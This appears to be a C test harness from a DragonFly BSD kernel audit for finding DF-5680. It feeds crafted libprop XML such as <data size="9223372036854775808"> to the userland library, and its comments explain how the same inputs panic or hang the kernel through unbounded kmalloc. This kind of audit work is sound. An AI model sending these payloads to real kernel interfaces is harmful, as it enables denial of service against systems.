โฌข DragonFlyBSD Kernel Audit
DF-5680 / df5680_userland.c
โ† back to finding โ†“ download raw
/*
 * DF-5680 โ€” userland differential harness against the SAME libprop source
 * that is compiled into the DragonFly kernel (/usr/src/sys/libprop, built
 * by build.sh as proporig/libprop_orig.so).
 *
 * Defect under test: _prop_data_internalize() takes the blob length from
 * the attacker-controlled XML attribute
 *
 *   <data size="N">base64...</data>
 *
 * via strtoul() (prop_data.c:572) and feeds `len + 1` straight into
 * _PROP_MALLOC(len + 1, M_PROP_DATA)  ==  kmalloc(len+1, M_PROP_DATA,
 * M_WAITOK) in the kernel (prop_data.c:588), with NO upper bound and with
 * the ERANGE overflow check compiled out in-kernel (prop_data.c:573-576,
 * "#ifndef _KERNEL").
 *
 * Userland maps _PROP_MALLOC to plain malloc(): huge sizes fail cleanly
 * (NULL -> internalize returns NULL -> prop_dictionary_internalize NULL).
 * The kernel maps them to M_WAITOK semantics where failure is either
 *   * panic("kmem_slab_alloc(): kernel_map ran out of space!")  (size >=
 *     kernel_map KVA span, kern_slaballoc.c:1723-1724 โ€” M_WAITOK does not
 *     include M_NULLOK), or
 *   * an unkillable vm_wait(0) retry loop (size > physical RAM,
 *     kern_slaballoc.c:1792-1800),
 * neither of which is a returnable error.
 *
 * usage: ./df5680_userland <scenario>
 *   scenarios: roundtrip | sizeattr | huge | neg1 | overflow | hang
 */
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libprop/proplib.h>

static const char *HDR =
    "<plist version=\"1.0\"><dict><key>a</key>";
static const char *FTR = "</dict></plist>";

static char *
mkxml(const char *dataelem, size_t *lenp)
{
	size_t hl = strlen(HDR), fl = strlen(FTR), dl = strlen(dataelem);
	char *xml = malloc(hl + dl + fl + 1);

	if (xml == NULL)
		abort();
	memcpy(xml, HDR, hl);
	memcpy(xml + hl, dataelem, dl);
	memcpy(xml + hl + dl, FTR, fl + 1);
	*lenp = hl + dl + fl;
	return (xml);
}

static void
run_internalize(const char *tag, const char *dataelem)
{
	prop_dictionary_t dict;
	prop_data_t pd;
	char *xml;
	size_t len;

	xml = mkxml(dataelem, &len);
	errno = 0;
	dict = prop_dictionary_internalize(xml);
	if (dict == NULL) {
		printf("%-9s: len=%zu internalize -> NULL (errno=%d) "
		    "โ€” clean rejection, process alive\n", tag, len, errno);
	} else {
		pd = prop_dictionary_get(dict, "a");
		if (pd == NULL || prop_object_type((prop_object_t)pd)
		    != PROP_TYPE_DATA) {
			printf("%-9s: dict OK but no data value?!\n", tag);
		} else {
			void *v = prop_data_data(pd);
			printf("%-9s: dict OK data size=%zu val='%s'\n",
			    tag, prop_data_size(pd),
			    v ? (char *)v : "(null)");
			free(v);
		}
		prop_object_release(dict);
	}
	free(xml);
}

int
main(int argc, char **argv)
{
	const char *sc = argc > 1 ? argv[1] : "huge";

	if (strcmp(sc, "roundtrip") == 0) {
		/* rig sanity: plain base64 data round-trips */
		run_internalize("roundtrip", "<data>SGVsbG8=</data>");
		return (0);
	}
	if (strcmp(sc, "sizeattr") == 0) {
		/* rig sanity: honest size attribute works, size==5 */
		run_internalize("sizeattr",
		    "<data size=\"5\">SGVsbG8=</data>");
		return (0);
	}
	if (strcmp(sc, "huge") == 0) {
		/* 2^63: userland malloc fails -> NULL; kernel PANICS */
		run_internalize("huge",
		    "<data size=\"9223372036854775808\">QQ==</data>");
		return (0);
	}
	if (strcmp(sc, "neg1") == 0) {
		/*
		 * "-1": strtoul returns ULONG_MAX *without* ERANGE (C99:
		 * negation is in-range modulo 2^64), so the errno guard at
		 * prop_data.c:574 does NOT fire even in userland;
		 * len+1 wraps to 0 -> malloc(0) succeeds -> decode pass
		 * with targsize==0 rejects -> NULL.  In the kernel the same
		 * wrap reaches kmalloc(0) == ZERO_LENGTH_PTR (non-NULL,
		 * kern_slaballoc.c:888-891) โ€” today still contained by the
		 * targsize==0 checks in the decoder, but only by luck.
		 */
		run_internalize("neg1", "<data size=\"-1\">QQ==</data>");
		return (0);
	}
	if (strcmp(sc, "overflow") == 0) {
		/*
		 * 30 nines: strtoul saturates to ULONG_MAX WITH ERANGE ->
		 * userland rejects at prop_data.c:574.  In the kernel the
		 * ERANGE check is COMPILED OUT (#ifndef _KERNEL), so the
		 * kernel takes the same len=SIZE_MAX -> kmalloc(0) path.
		 */
		run_internalize("overflow",
		    "<data size=\"999999999999999999999999999999\">"
		    "QQ==</data>");
		return (0);
	}
	if (strcmp(sc, "hang") == 0) {
		/* 8 GiB on a 4 GiB guest: userland malloc fails -> NULL;
		* kernel wedges forever in vm_wait(0) (M_WAITOK). */
		run_internalize("hang",
		    "<data size=\"8589934592\">QQ==</data>");
		return (0);
	}

	fprintf(stderr, "unknown scenario %s\n", sc);
	return (2);
}